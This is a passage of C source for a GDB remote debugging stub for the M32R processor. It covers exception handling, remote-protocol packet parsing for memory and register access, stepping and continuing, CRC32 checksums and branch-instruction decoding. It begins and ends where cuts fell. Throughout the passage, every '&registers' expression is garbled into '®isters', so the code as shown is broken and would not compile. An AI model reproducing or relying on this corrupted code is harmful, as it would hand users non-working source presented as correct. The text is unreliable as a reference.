(char *, int);\n\nstatic unsigned char *strcpy (unsigned char *, const unsigned char *);\nstatic int strlen (const unsigned char *);\n\n/*\n * This function does all command procesing for interfacing to gdb.\n */\n\nvoid\nhandle_exception (int exceptionVector)\n{\n  int sigval, stepping;\n  int addr, length, i;\n  unsigned char *ptr;\n  unsigned char buf[16];\n  int binary;\n\n  if (!finish_from_step ())\n    return;\t\t\t/* \"false step\": let the target continue */\n\n  gdb_m32r_vector = exceptionVector;\n\n  if (remote_debug)\n    {\n      mem2hex ((unsigned char *) &exceptionVector, buf, 4, 0);\n      gdb_error (\"Handle exception %s, \", buf);\n      mem2hex ((unsigned char *) ®isters[PC], buf, 4, 0);\n      gdb_error (\"PC == 0x%s\\n\", buf);\n    }\n\n  /* reply to host that an exception has occurred */\n  sigval = computeSignal (exceptionVector);\n\n  ptr = remcomOutBuffer;\n\n  *ptr++ = 'T';\t\t\t/* notify gdb with signo, PC, FP and SP */\n  *ptr++ = hexchars[sigval >> 4];\n  *ptr++ = hexchars[sigval & 0xf];\n\n  *ptr++ = hexchars[PC >> 4];\n  *ptr++ = hexchars[PC & 0xf];\n  *ptr++ = ':';\n  ptr = mem2hex ((unsigned char *) ®isters[PC], ptr, 4, 0);\t/* PC */\n  *ptr++ = ';';\n\n  *ptr++ = hexchars[R13 >> 4];\n  *ptr++ = hexchars[R13 & 0xf];\n  *ptr++ = ':';\n  ptr = mem2hex ((unsigned char *) ®isters[R13], ptr, 4, 0);\t/* FP */\n  *ptr++ = ';';\n\n  *ptr++ = hexchars[R15 >> 4];\n  *ptr++ = hexchars[R15 & 0xf];\n  *ptr++ = ':';\n  ptr = mem2hex ((unsigned char *) ®isters[R15], ptr, 4, 0);\t/* SP */\n  *ptr++ = ';';\n  *ptr++ = 0;\n\n  if (exceptionVector == 0)\t/* simulated SYS call stuff */\n    {\n      mem2hex ((unsigned char *) ®isters[PC], buf, 4, 0);\n      switch (registers[R0])\n\t{\n\tcase SYS_exit:\n\t  gdb_error (\"Target program has exited at %s\\n\", buf);\n\t  ptr = remcomOutBuffer;\n\t  *ptr++ = 'W';\n\t  sigval = registers[R1] & 0xff;\n\t  *ptr++ = hexchars[sigval >> 4];\n\t  *ptr++ = hexchars[sigval & 0xf];\n\t  *ptr++ = 0;\n\t  break;\n\tcase SYS_open:\n\t  gdb_error (\"Target attempts SYS_open call at %s\\n\", buf);\n\t  break;\n\tcase SYS_close:\n\t  gdb_error (\"Target attempts SYS_close call at %s\\n\", buf);\n\t  break;\n\tcase SYS_read:\n\t  gdb_error (\"Target attempts SYS_read call at %s\\n\", buf);\n\t  break;\n\tcase SYS_write:\n\t  if (registers[R1] == 1 ||\t/* write to stdout  */\n\t      registers[R1] == 2)\t/* write to stderr  */\n\t    {\t\t\t/* (we can do that) */\n\t      registers[R0] =\n\t\tgdb_write ((void *) registers[R2], registers[R3]);\n\t      return;\n\t    }\n\t  else\n\t    gdb_error (\"Target attempts SYS_write call at %s\\n\", buf);\n\t  break;\n\tcase SYS_lseek:\n\t  gdb_error (\"Target attempts SYS_lseek call at %s\\n\", buf);\n\t  break;\n\tcase SYS_unlink:\n\t  gdb_error (\"Target attempts SYS_unlink call at %s\\n\", buf);\n\t  break;\n\tcase SYS_getpid:\n\t  gdb_error (\"Target attempts SYS_getpid call at %s\\n\", buf);\n\t  break;\n\tcase SYS_kill:\n\t  gdb_error (\"Target attempts SYS_kill call at %s\\n\", buf);\n\t  break;\n\tcase SYS_fstat:\n\t  gdb_error (\"Target attempts SYS_fstat call at %s\\n\", buf);\n\t  break;\n\tdefault:\n\t  gdb_error (\"Target attempts unknown SYS call at %s\\n\", buf);\n\t  break;\n\t}\n    }\n\n  putpacket (remcomOutBuffer);\n\n  stepping = 0;\n\n  while (1 == 1)\n    {\n      remcomOutBuffer[0] = 0;\n      ptr = getpacket ();\n      binary = 0;\n      switch (*ptr++)\n\t{\n\tdefault:\t\t/* Unknown code.  Return an empty reply message. */\n\t  break;\n\tcase 'R':\n\t  if (hexToInt (&ptr, &addr))\n\t    registers[PC] = addr;\n\t  strcpy (remcomOutBuffer, \"OK\");\n\t  break;\n\tcase '!':\n\t  strcpy (remcomOutBuffer, \"OK\");\n\t  break;\n\tcase 'X':\t\t/* XAA..AA,LLLL:#cs */\n\t  binary = 1;\n\tcase 'M':\t\t/* MAA..AA,LLLL: Write LLLL bytes at address AA.AA return OK */\n\t  /* TRY TO READ '%x,%x:'.  IF SUCCEED, SET PTR = 0 */\n\t  {\n\t    if (hexToInt (&ptr, &addr))\n\t      if (*(ptr++) == ',')\n\t\tif (hexToInt (&ptr, &length))\n\t\t  if (*(ptr++) == ':')\n\t\t    {\n\t\t      mem_err = 0;\n\t\t      if (binary)\n\t\t\tbin2mem (ptr, (unsigned char *) addr, length, 1);\n\t\t      else\n\t\t\thex2mem (ptr, (unsigned char *) addr, length, 1);\n\t\t      if (mem_err)\n\t\t\t{\n\t\t\t  strcpy (remcomOutBuffer, \"E03\");\n\t\t\t  gdb_error (\"memory fault\", \"\");\n\t\t\t}\n\t\t      else\n\t\t\t{\n\t\t\t  strcpy (remcomOutBuffer, \"OK\");\n\t\t\t}\n\t\t      ptr = 0;\n\t\t    }\n\t    if (ptr)\n\t      {\n\t\tstrcpy (remcomOutBuffer, \"E02\");\n\t      }\n\t  }\n\t  break;\n\tcase 'm':\t\t/* mAA..AA,LLLL  Read LLLL bytes at address AA..AA */\n\t  /* TRY TO READ %x,%x.  IF SUCCEED, SET PTR = 0 */\n\t  if (hexToInt (&ptr, &addr))\n\t    if (*(ptr++) == ',')\n\t      if (hexToInt (&ptr, &length))\n\t\t{\n\t\t  ptr = 0;\n\t\t  mem_err = 0;\n\t\t  mem2hex ((unsigned char *) addr, remcomOutBuffer, length,\n\t\t\t   1);\n\t\t  if (mem_err)\n\t\t    {\n\t\t      strcpy (remcomOutBuffer, \"E03\");\n\t\t      gdb_error (\"memory fault\", \"\");\n\t\t    }\n\t\t}\n\t  if (ptr)\n\t    {\n\t      strcpy (remcomOutBuffer, \"E01\");\n\t    }\n\t  break;\n\tcase '?':\n\t  remcomOutBuffer[0] = 'S';\n\t  remcomOutBuffer[1] = hexchars[sigval >> 4];\n\t  remcomOutBuffer[2] = hexchars[sigval % 16];\n\t  remcomOutBuffer[3] = 0;\n\t  break;\n\tcase 'd':\n\t  remote_debug = !(remote_debug);\t/* toggle debug flag */\n\t  break;\n\tcase 'g':\t\t/* return the value of the CPU registers */\n\t  mem2hex ((unsigned char *) registers, remcomOutBuffer, NUMREGBYTES,\n\t\t   0);\n\t  break;\n\tcase 'P':\t\t/* set the value of a single CPU register - return OK */\n\t  {\n\t    int regno;\n\n\t    if (hexToInt (&ptr, ®no) && *ptr++ == '=')\n\t      if (regno >= 0 && regno < NUMREGS)\n\t\t{\n\t\t  int stackmode;\n\n\t\t  hex2mem (ptr, (unsigned char *) ®isters[regno], 4, 0);\n\t\t  /*\n\t\t   * Since we just changed a single CPU register, let's\n\t\t   * make sure to keep the several stack pointers consistant.\n\t\t   */\n\t\t  stackmode = registers[PSW] & 0x80;\n\t\t  if (regno == R15)\t/* stack pointer changed */\n\t\t    {\t\t/* need to change SPI or SPU */\n\t\t      if (stackmode == 0)\n\t\t\tregisters[SPI] = registers[R15];\n\t\t      else\n\t\t\tregisters[SPU] = registers[R15];\n\t\t    }\n\t\t  else if (regno == SPU)\t/* \"user\" stack pointer changed */\n\t\t    {\n\t\t      if (stackmode != 0)\t/* stack in user mode: copy SP */\n\t\t\tregisters[R15] = registers[SPU];\n\t\t    }\n\t\t  else if (regno == SPI)\t/* \"interrupt\" stack pointer changed */\n\t\t    {\n\t\t      if (stackmode == 0)\t/* stack in interrupt mode: copy SP */\n\t\t\tregisters[R15] = registers[SPI];\n\t\t    }\n\t\t  else if (regno == PSW)\t/* stack mode may have changed! */\n\t\t    {\t\t/* force SP to either SPU or SPI */\n\t\t      if (stackmode == 0)\t/* stack in user mode */\n\t\t\tregisters[R15] = registers[SPI];\n\t\t      else\t/* stack in interrupt mode */\n\t\t\tregisters[R15] = registers[SPU];\n\t\t    }\n\t\t  strcpy (remcomOutBuffer, \"OK\");\n\t\t  break;\n\t\t}\n\t    strcpy (remcomOutBuffer, \"E01\");\n\t    break;\n\t  }\n\tcase 'G':\t\t/* set the value of the CPU registers - return OK */\n\t  hex2mem (ptr, (unsigned char *) registers, NUMREGBYTES, 0);\n\t  strcpy (remcomOutBuffer, \"OK\");\n\t  break;\n\tcase 's':\t\t/* sAA..AA      Step one instruction from AA..AA(optional) */\n\t  stepping = 1;\n\tcase 'c':\t\t/* cAA..AA      Continue from address AA..AA(optional) */\n\t  /* try to read optional parameter, pc unchanged if no parm */\n\t  if (hexToInt (&ptr, &addr))\n\t    registers[PC] = addr;\n\n\t  if (stepping)\t\t/* single-stepping */\n\t    {\n\t      if (!prepare_to_step (0))\t/* set up for single-step */\n\t\t{\n\t\t  /* prepare_to_step has already emulated the target insn:\n\t\t     Send SIGTRAP to gdb, don't resume the target at all.  */\n\t\t  ptr = remcomOutBuffer;\n\t\t  *ptr++ = 'T';\t/* Simulate stopping with SIGTRAP */\n\t\t  *ptr++ = '0';\n\t\t  *ptr++ = '5';\n\n\t\t  *ptr++ = hexchars[PC >> 4];\t/* send PC */\n\t\t  *ptr++ = hexchars[PC & 0xf];\n\t\t  *ptr++ = ':';\n\t\t  ptr = mem2hex ((unsigned char *) ®isters[PC], ptr, 4, 0);\n\t\t  *ptr++ = ';';\n\n\t\t  *ptr++ = hexchars[R13 >> 4];\t/* send FP */\n\t\t  *ptr++ = hexchars[R13 & 0xf];\n\t\t  *ptr++ = ':';\n\t\t  ptr =\n\t\t    mem2hex ((unsigned char *) ®isters[R13], ptr, 4, 0);\n\t\t  *ptr++ = ';';\n\n\t\t  *ptr++ = hexchars[R15 >> 4];\t/* send SP */\n\t\t  *ptr++ = hexchars[R15 & 0xf];\n\t\t  *ptr++ = ':';\n\t\t  ptr =\n\t\t    mem2hex ((unsigned char *) ®isters[R15], ptr, 4, 0);\n\t\t  *ptr++ = ';';\n\t\t  *ptr++ = 0;\n\n\t\t  break;\n\t\t}\n\t    }\n\t  else\t\t\t/* continuing, not single-stepping */\n\t    {\n\t      /* OK, about to do a \"continue\".  First check to see if the \n\t         target pc is on an odd boundary (second instruction in the \n\t         word).  If so, we must do a single-step first, because \n\t         ya can't jump or return back to an odd boundary!  */\n\t      if ((registers[PC] & 2) != 0)\n\t\tprepare_to_step (1);\n\t    }\n\n\t  return;\n\n\tcase 'D':\t\t/* Detach */\n#if 0\n\t  /* I am interpreting this to mean, release the board from control \n\t     by the remote stub.  To do this, I am restoring the original\n\t     (or at least previous) exception vectors.\n\t   */\n\t  for (i = 0; i < 18; i++)\n\t    exceptionHandler (i, save_vectors[i]);\n\t  putpacket (\"OK\");\n\t  return;\t\t/* continue the inferior */\n#else\n\t  strcpy (remcomOutBuffer, \"OK\");\n\t  break;\n#endif\n\tcase 'q':\n\t  if (*ptr++ == 'C' &&\n\t      *ptr++ == 'R' && *ptr++ == 'C' && *ptr++ == ':')\n\t    {\n\t      unsigned long start, len, our_crc;\n\n\t      if (hexToInt (&ptr, (int *) &start) &&\n\t\t  *ptr++ == ',' && hexToInt (&ptr, (int *) &len))\n\t\t{\n\t\t  remcomOutBuffer[0] = 'C';\n\t\t  our_crc = crc32 ((unsigned char *) start, len, 0xffffffff);\n\t\t  mem2hex ((char *) &our_crc,\n\t\t\t   &remcomOutBuffer[1], sizeof (long), 0);\n\t\t}\t\t/* else do nothing */\n\t    }\t\t\t/* else do nothing */\n\t  break;\n\n\tcase 'k':\t\t/* kill the program */\n\t  continue;\n\t}\t\t\t/* switch */\n\n      /* reply to the request */\n      putpacket (remcomOutBuffer);\n    }\n}\n\n/* qCRC support */\n\n/* Table used by the crc32 function to calcuate the checksum. */\nstatic unsigned long crc32_table[256] = { 0, 0 };\n\nstatic unsigned long\ncrc32 (unsigned char *buf, int len, unsigned long crc)\n{\n  if (!crc32_table[1])\n    {\n      /* Initialize the CRC table and the decoding table. */\n      int i, j;\n      unsigned long c;\n\n      for (i = 0; i < 256; i++)\n\t{\n\t  for (c = i << 24, j = 8; j > 0; --j)\n\t    c = c & 0x80000000 ? (c << 1) ^ 0x04c11db7 : (c << 1);\n\t  crc32_table[i] = c;\n\t}\n    }\n\n  while (len--)\n    {\n      crc = (crc << 8) ^ crc32_table[((crc >> 24) ^ *buf) & 255];\n      buf++;\n    }\n  return crc;\n}\n\nstatic int\nhex (unsigned char ch)\n{\n  if ((ch >= 'a') && (ch <= 'f'))\n    return (ch - 'a' + 10);\n  if ((ch >= '0') && (ch <= '9'))\n    return (ch - '0');\n  if ((ch >= 'A') && (ch <= 'F'))\n    return (ch - 'A' + 10);\n  return (-1);\n}\n\n/* scan for the sequence $#     */\n\nunsigned char *\ngetpacket (void)\n{\n  unsigned char *buffer = &remcomInBuffer[0];\n  unsigned char checksum;\n  unsigned char xmitcsum;\n  int count;\n  char ch;\n\n  while (1)\n    {\n      /* wait around for the start character, ignore all other characters */\n      while ((ch = getDebugChar ()) != '$')\n\t;\n\n    retry:\n      checksum = 0;\n      xmitcsum = -1;\n      count = 0;\n\n      /* now, read until a # or end of buffer is found */\n      while (count < BUFMAX - 1)\n\t{\n\t  ch = getDebugChar ();\n\t  if (ch == '$')\n\t    goto retry;\n\t  if (ch == '#')\n\t    break;\n\t  checksum = checksum + ch;\n\t  buffer[count] = ch;\n\t  count = count + 1;\n\t}\n      buffer[count] = 0;\n\n      if (ch == '#')\n\t{\n\t  ch = getDebugChar ();\n\t  xmitcsum = hex (ch) << 4;\n\t  ch = getDebugChar ();\n\t  xmitcsum += hex (ch);\n\n\t  if (checksum != xmitcsum)\n\t    {\n\t      if (remote_debug)\n\t\t{\n\t\t  unsigned char buf[16];\n\n\t\t  mem2hex ((unsigned char *) &checksum, buf, 4, 0);\n\t\t  gdb_error (\"Bad checksum: my count = %s, \", buf);\n\t\t  mem2hex ((unsigned char *) &xmitcsum, buf, 4, 0);\n\t\t  gdb_error (\"sent count = %s\\n\", buf);\n\t\t  gdb_error (\" -- Bad buffer: \\\"%s\\\"\\n\", buffer);\n\t\t}\n\t      putDebugChar ('-');\t/* failed checksum */\n\t    }\n\t  else\n\t    {\n\t      putDebugChar ('+');\t/* successful transfer */\n\n\t      /* if a sequence char is present, reply the sequence ID */\n\t      if (buffer[2] == ':')\n\t\t{\n\t\t  putDebugChar (buffer[0]);\n\t\t  putDebugChar (buffer[1]);\n\n\t\t  return &buffer[3];\n\t\t}\n\n\t      return &buffer[0];\n\t    }\n\t}\n    }\n}\n\n/* send the packet in buffer.  */\n\nstatic void\nputpacket (unsigned char *buffer)\n{\n  unsigned char checksum;\n  int count;\n  char ch;\n\n  /*  $#. */\n  do\n    {\n      putDebugChar ('$');\n      checksum = 0;\n      count = 0;\n\n      while (ch = buffer[count])\n\t{\n\t  putDebugChar (ch);\n\t  checksum += ch;\n\t  count += 1;\n\t}\n      putDebugChar ('#');\n      putDebugChar (hexchars[checksum >> 4]);\n      putDebugChar (hexchars[checksum % 16]);\n    }\n  while (getDebugChar () != '+');\n}\n\n/* Address of a routine to RTE to if we get a memory fault.  */\n\nstatic void (*volatile mem_fault_routine) () = 0;\n\nstatic void\nset_mem_err (void)\n{\n  mem_err = 1;\n}\n\n/* Check the address for safe access ranges.  As currently defined,\n   this routine will reject the \"expansion bus\" address range(s).\n   To make those ranges useable, someone must implement code to detect\n   whether there's anything connected to the expansion bus. */\n\nstatic int\nmem_safe (unsigned char *addr)\n{\n#define BAD_RANGE_ONE_START\t((unsigned char *) 0x600000)\n#define BAD_RANGE_ONE_END\t((unsigned char *) 0xa00000)\n#define BAD_RANGE_TWO_START\t((unsigned char *) 0xff680000)\n#define BAD_RANGE_TWO_END\t((unsigned char *) 0xff800000)\n\n  if (addr < BAD_RANGE_ONE_START)\n    return 1;\t\t\t/* safe */\n  if (addr < BAD_RANGE_ONE_END)\n    return 0;\t\t\t/* unsafe */\n  if (addr < BAD_RANGE_TWO_START)\n    return 1;\t\t\t/* safe */\n  if (addr < BAD_RANGE_TWO_END)\n    return 0;\t\t\t/* unsafe */\n}\n\n/* These are separate functions so that they are so short and sweet\n   that the compiler won't save any registers (if there is a fault\n   to mem_fault, they won't get restored, so there better not be any\n   saved).  */\nstatic int\nget_char (unsigned char *addr)\n{\n#if 1\n  if (mem_fault_routine && !mem_safe (addr))\n    {\n      mem_fault_routine ();\n      return 0;\n    }\n#endif\n  return *addr;\n}\n\nstatic void\nset_char (unsigned char *addr, unsigned char val)\n{\n#if 1\n  if (mem_fault_routine && !mem_safe (addr))\n    {\n      mem_fault_routine ();\n      return;\n    }\n#endif\n  *addr = val;\n}\n\n/* Convert the memory pointed to by mem into hex, placing result in buf.\n   Return a pointer to the last char put in buf (null).\n   If MAY_FAULT is non-zero, then we should set mem_err in response to\n   a fault; if zero treat a fault like any other fault in the stub.  */\n\nstatic unsigned char *\nmem2hex (unsigned char *mem, unsigned char *buf, int count, int may_fault)\n{\n  int i;\n  unsigned char ch;\n\n  if (may_fault)\n    mem_fault_routine = set_mem_err;\n  for (i = 0; i < count; i++)\n    {\n      ch = get_char (mem++);\n      if (may_fault && mem_err)\n\treturn (buf);\n      *buf++ = hexchars[ch >> 4];\n      *buf++ = hexchars[ch % 16];\n    }\n  *buf = 0;\n  if (may_fault)\n    mem_fault_routine = 0;\n  return (buf);\n}\n\n/* Convert the hex array pointed to by buf into binary to be placed in mem.\n   Return a pointer to the character AFTER the last byte written. */\n\nstatic unsigned char *\nhex2mem (unsigned char *buf, unsigned char *mem, int count, int may_fault)\n{\n  int i;\n  unsigned char ch;\n\n  if (may_fault)\n    mem_fault_routine = set_mem_err;\n  for (i = 0; i < count; i++)\n    {\n      ch = hex (*buf++) << 4;\n      ch = ch + hex (*buf++);\n      set_char (mem++, ch);\n      if (may_fault && mem_err)\n\treturn (mem);\n    }\n  if (may_fault)\n    mem_fault_routine = 0;\n  return (mem);\n}\n\n/* Convert the binary stream in BUF to memory.\n\n   Gdb will escape $, #, and the escape char (0x7d).\n   COUNT is the total number of bytes to write into\n   memory. */\nstatic unsigned char *\nbin2mem (unsigned char *buf, unsigned char *mem, int count, int may_fault)\n{\n  int i;\n  unsigned char ch;\n\n  if (may_fault)\n    mem_fault_routine = set_mem_err;\n  for (i = 0; i < count; i++)\n    {\n      /* Check for any escaped characters. Be paranoid and\n         only unescape chars that should be escaped. */\n      if (*buf == 0x7d)\n\t{\n\t  switch (*(buf + 1))\n\t    {\n\t    case 0x3:\t\t/* # */\n\t    case 0x4:\t\t/* $ */\n\t    case 0x5d:\t\t/* escape char */\n\t      buf++;\n\t      *buf |= 0x20;\n\t      break;\n\t    default:\n\t      /* nothing */\n\t      break;\n\t    }\n\t}\n\n      set_char (mem++, *buf++);\n\n      if (may_fault && mem_err)\n\treturn mem;\n    }\n\n  if (may_fault)\n    mem_fault_routine = 0;\n  return mem;\n}\n\n/* this function takes the m32r exception vector and attempts to\n   translate this number into a unix compatible signal value */\n\nstatic int\ncomputeSignal (int exceptionVector)\n{\n  int sigval;\n  switch (exceptionVector)\n    {\n    case 0:\n      sigval = 23;\n      break;\t\t\t/* I/O trap                    */\n    case 1:\n      sigval = 5;\n      break;\t\t\t/* breakpoint                  */\n    case 2:\n      sigval = 5;\n      break;\t\t\t/* breakpoint                  */\n    case 3:\n      sigval = 5;\n      break;\t\t\t/* breakpoint                  */\n    case 4:\n      sigval = 5;\n      break;\t\t\t/* breakpoint                  */\n    case 5:\n      sigval = 5;\n      break;\t\t\t/* breakpoint                  */\n    case 6:\n      sigval = 5;\n      break;\t\t\t/* breakpoint                  */\n    case 7:\n      sigval = 5;\n      break;\t\t\t/* breakpoint                  */\n    case 8:\n      sigval = 5;\n      break;\t\t\t/* breakpoint                  */\n    case 9:\n      sigval = 5;\n      break;\t\t\t/* breakpoint                  */\n    case 10:\n      sigval = 5;\n      break;\t\t\t/* breakpoint                  */\n    case 11:\n      sigval = 5;\n      break;\t\t\t/* breakpoint                  */\n    case 12:\n      sigval = 5;\n      break;\t\t\t/* breakpoint                  */\n    case 13:\n      sigval = 5;\n      break;\t\t\t/* breakpoint                  */\n    case 14:\n      sigval = 5;\n      break;\t\t\t/* breakpoint                  */\n    case 15:\n      sigval = 5;\n      break;\t\t\t/* breakpoint                  */\n    case 16:\n      sigval = 10;\n      break;\t\t\t/* BUS ERROR (alignment)       */\n    case 17:\n      sigval = 2;\n      break;\t\t\t/* INTerrupt                   */\n    default:\n      sigval = 7;\n      break;\t\t\t/* \"software generated\"        */\n    }\n  return (sigval);\n}\n\n/**********************************************/\n/* WHILE WE FIND NICE HEX CHARS, BUILD AN INT */\n/* RETURN NUMBER OF CHARS PROCESSED           */\n/**********************************************/\nstatic int\nhexToInt (unsigned char **ptr, int *intValue)\n{\n  int numChars = 0;\n  int hexValue;\n\n  *intValue = 0;\n  while (**ptr)\n    {\n      hexValue = hex (**ptr);\n      if (hexValue >= 0)\n\t{\n\t  *intValue = (*intValue << 4) | hexValue;\n\t  numChars++;\n\t}\n      else\n\tbreak;\n      (*ptr)++;\n    }\n  return (numChars);\n}\n\n/*\n  Table of branch instructions:\n  \n  10B6\t\tRTE\treturn from trap or exception\n  1FCr\t\tJMP\tjump\n  1ECr\t\tJL\tjump and link\n  7Fxx\t\tBRA\tbranch\n  FFxxxxxx\tBRA\tbranch (long)\n  B09rxxxx\tBNEZ\tbranch not-equal-zero\n  Br1rxxxx\tBNE\tbranch not-equal\n  7Dxx\t\tBNC\tbranch not-condition\n  FDxxxxxx\tBNC\tbranch not-condition (long)\n  B0Arxxxx\tBLTZ\tbranch less-than-zero\n  B0Crxxxx\tBLEZ\tbranch less-equal-zero\n  7Exx\t\tBL\tbranch and link\n  FExxxxxx\tBL\tbranch and link (long)\n  B0Drxxxx\tBGTZ\tbranch greater-than-zero\n  B0Brxxxx\tBGEZ\tbranch greater-equal-zero\n  B08rxxxx\tBEQZ\tbranch equal-zero\n  Br0rxxxx\tBEQ\tbranch equal\n  7Cxx\t\tBC\tbranch condition\n  FCxxxxxx\tBC\tbranch condition (long)\n  */\n\nstatic int\nisShortBranch (unsigned char *instr)\n{\n  unsigned char instr0 = instr[0] & 0x7F;\t/* mask off high bit */\n\n  if (instr0 == 0x10 && instr[1] == 0xB6)\t/* RTE */\n    return 1;\t\t\t/* return from trap or exception */\n\n  if (instr0 == 0x1E || instr0 == 0x1F)\t/* JL or JMP */\n    if ((instr[1] & 0xF0) == 0xC0)\n      return 2;\t\t\t/* jump thru a register */\n\n  if (instr0 == 0x7C || instr0 == 0x7D ||\t/* BC, BNC, BL, BRA */\n      instr0 == 0x7E || instr0 == 0x7F)\n    return 3;\t\t\t/* eight bit PC offset */\n\n  return 0;\n}\n\nstatic int\nisLongBranch (unsigned char *instr)\n{\n  if (instr[0] == 0xFC || instr[0] == 0xFD ||\t/* BRA, BNC, BL, BC */\n      instr[0] == 0xFE || instr[0] == 0xFF)\t/* 24 bit relative */\n    return 4;\n  if ((instr[0] & 0xF0) == 0xB0)\t/* 16 bit relative */\n    {\n      if ((instr[1] & 0xF0) == 0x00 ||\t/* BNE, BEQ */\n\t  (instr[1] & 0xF0) == 0x10)\n\treturn 5;\n      if (instr[0] == 0xB0)\t/* BNEZ, BLTZ, BLEZ, BGTZ, BGEZ, BEQZ */\n\tif ((instr[1] & 0xF0) == 0x80 || (instr[1] & 0xF0) == 0x90 ||\n\t    (instr[1] & 0xF0) == 0xA0 || (instr[1] & 0xF0) == 0xB0 ||\n\t    (instr[1] & 0xF0) == 0xC0 || (instr[1] & 0xF0) == 0xD0)\n\t  return 6;\n    }\n  return 0;\n}\n\n/* if address is NOT on a 4-byte boundary, or high-bit of instr is zero, \n   then it's a 2-byte instruction, else it's a 4-byte instruction.  */\n\n#define INSTRUCTION_SIZE(addr) \\\n    ((((int) addr & 2) || (((unsigned char *) addr)[0] & 0x80) == 0) ? 2 : 4)\n\nstatic int\nisBranch (unsigned char *instr)\n{\n  if (INSTRUCTION_SIZE (instr) == 2)\n    return isShortBranch (instr);\n  else\n    return isLongBranch (instr);\n}\n\nstatic int\nwillBranch (unsigned char *instr, int branchCode)\n{\n  switch (branchCode)\n    {\n    case 0:\n      return 0;\t\t\t/* not a branch */\n    case 1:\n      return 1;\t\t\t/* RTE */\n    case 2:\n      return 1;\t\t\t/* JL or JMP    */\n    case 3:\t\t\t/* BC, BNC, BL, BRA (short) */\n    case 4:\t\t\t/* BC, BNC, BL, BRA (long) */\n      switch (instr[0] & 0x0F)\n\t{\n\tcase 0xC:\t\t/* Branch if Condition Register */\n\t  return (registers[CBR] != 0);\n\tcase 0xD:\t\t/* Branch if NOT Condition Register */\n\t  return (registers[CBR] == 0);\n\tcase 0xE:\t\t/* Branch and Link */\n\tcase 0xF:\t\t/* Branch (unconditional) */\n\t  return 1;\n\tdefault:\t\t/* oops? */\n\t  return 0;\n\t}\n    case 5:\t\t\t/* BNE, BEQ */\n      switch (instr[1] & 0xF0)\n\t{\n\tcase 0x00:\t\t/* Branch if r1 equal to r2 */\n\t  return (registers[instr[0] & 0x0F] == registers[instr[1] & 0x0F]);\n\tcase 0x10:\t\t/* Branch if r1 NOT equal to r2 */\n\t  return (registers[instr[0] & 0x0F] != registers[instr[1] & 0x0F]);\n\tdefault:\t\t/* oops? */\n\t  return 0;\n\t}\n    case 6:\t\t\t/* BNEZ, BLTZ, BLEZ, BGTZ, BGEZ ,BEQZ */\n      switch (instr[1] & 0xF0)\n\t{\n\tcase 0x80:\t\t/* Branch if reg equal to zero */\n\t  return (registers[instr[1] & 0x0F] == 0);\n\tcase 0x90:\t\t/* Branch if reg NOT equal to zero */\n\t  return (registers[instr[1] & 0x0F] != 0);\n\tcase 0xA0:\t\t/* Branch if reg less than zero */\n\t  return (registers[instr[1] & 0x0F] < 0);\n\tcase 0xB0:\t\t/* Branch if reg greater or equal to zero */\n\t  return (registers[instr[1] & 0x0F] >= 0);\n\tcase 0xC0:\t\t/* Branch if reg less than or equal to zero */\n\t  return (registers[instr[1] & 0x0F] <= 0);\n\tcase 0xD0:\t\t/* Branch if reg greater than zero */\n\t  return (registers[instr[1] & 0x0F] > 0);\n\tdefault:\t\t/* oops? */\n\t  return 0;\n\t}\n    default:\t\t\t/* oops? */\n      return 0;\n    }\n}\n\nstatic int\nbranchDestination (unsigned char *instr, int branchCode)\n{\n  switch (branchCode)\n    {\n    default:\n    case 0:\t\t\t/* not a branch */\n      return 0;\n    case 1:\t\t\t/* RTE */\n      return registers[BPC] & ~3;\t/* pop BPC into PC */\n    case 2:\t\t\t/* JL or JMP */\n      return registers[instr[1] & 0x0F] & ~3;\t/* jump thru a register */\n    case 3:\t\t\t/* BC, BNC, BL, BRA (short, 8-bit relative offset) */\n      return (((int) instr) & ~3) + ((char) instr[1] << 2);\n    case 4:\t\t\t/* BC, BNC, BL, BRA (long, 24-bit relative offset) */\n      return ((int) instr +\n\t      ((((char) instr[1] << 16) | (instr[2] << 8) | (instr[3])) <<\n\t       2));\n    case 5:\t\t\t/* BNE, BEQ (16-bit relative offset) */\n    case 6:\t\t\t/* BNEZ, BLTZ, BLEZ, BGTZ, BGEZ ,BEQZ (ditto) */\n      return ((int) instr + ((((char) instr[2] << 8) | (instr[3])) << 2));\n    }\n\n  /* An explanatory note: in the last three return expressions, I have\n     cast the most-significant byte of the return offset to char.\n     What this accomplishes is sign extension.  If the other\n     less-significant bytes were signed as well, they would get sign\n     extended too and, if negative, their leading bits would clobber\n     the bits of the more-significant bytes ahead of them.  There are\n     other ways I could have done this, but sign extension from\n     odd-sized integers is always a pain. */\n}\n\nstatic void\nbranchSideEffects (unsigned char *instr, int branchCode)\n{\n  switch (branchCode)\n    {\n    case 1:\t\t\t/* RTE */\n      return;\t\t\t/* I  this is already handled... */\n    case 2:\t\t\t/* JL (or JMP) */\n    case 3:\t\t\t/* BL (or BC, BNC, BRA) */\n    case 4:\n      if ((instr[0] & 0x0F) == 0x0E)\t/* branch/jump and link */\n\tregisters[R14] = (registers[PC] & ~3) + 4;\n      return;\n    default:\t\t\t/* any other branch has no side effects */\n      return;\n    }\n}\n\nstatic struct STEPPING_CONTEXT\n{\n  int stepping;\t\t\t/* true when we've started a single-step */\n  unsigned long target_addr;\t/* the instr we're trying to execute */\n  unsigned long target_size;\t/* the size of the target instr */\n  unsigned long noop_addr;\t/* where we've inserted a no-op, if any */\n  unsigned long trap1_addr;\t/* the trap following the target instr */\n  unsigned long trap2_addr;\t/* the trap at a branch destination, if any */\n  unsigned short noop_save;\t/* instruction overwritten by our no-op */\n  unsigned short trap1_save;\t/* instruction overwritten by trap1 */\n  unsigned short trap2_save;\t/* instruction overwritten by trap2 */\n  unsigned short continue_p;\t/* true if NOT returning to gdb after step */\n} stepping;\n\n/* Function: prepare_to_step\n   Called from handle_exception to prepare the user program to single-step.\n   Places a trap instruction after the target instruction, with special \n   extra handling for branch instructions and for instructions in the \n   second half-word of a word.  \n\n   Returns: True  if we should actually execute the instruction; \n\t    False if we are going to emulate executing the instruction,\n\t    in which case we simply report to GDB that the instruction \n\t    has already been executed.  */\n\n#define TRAP1  0x10f1;\t\t/* trap #1 instruction */\n#define NOOP   0x7000;\t\t/* noop    instruction */\n\nstatic unsigned short trap1 = TRAP1;\nstatic unsigned short noop = NOOP;\n\nstatic int\nprepare_to_step (continue_p)\n     int continue_p;\t\t/* if this isn't REALLY a single-step (see below) */\n{\n  unsigned long pc = registers[PC];\n  int branchCode = isBranch ((unsigned char *) pc);\n  unsigned char *p;\n\n  /* zero out the stepping context \n     (paranoia -- it should already be zeroed) */\n  for (p = (unsigned char *) &stepping;\n       p < ((unsigned char *) &stepping) + sizeof 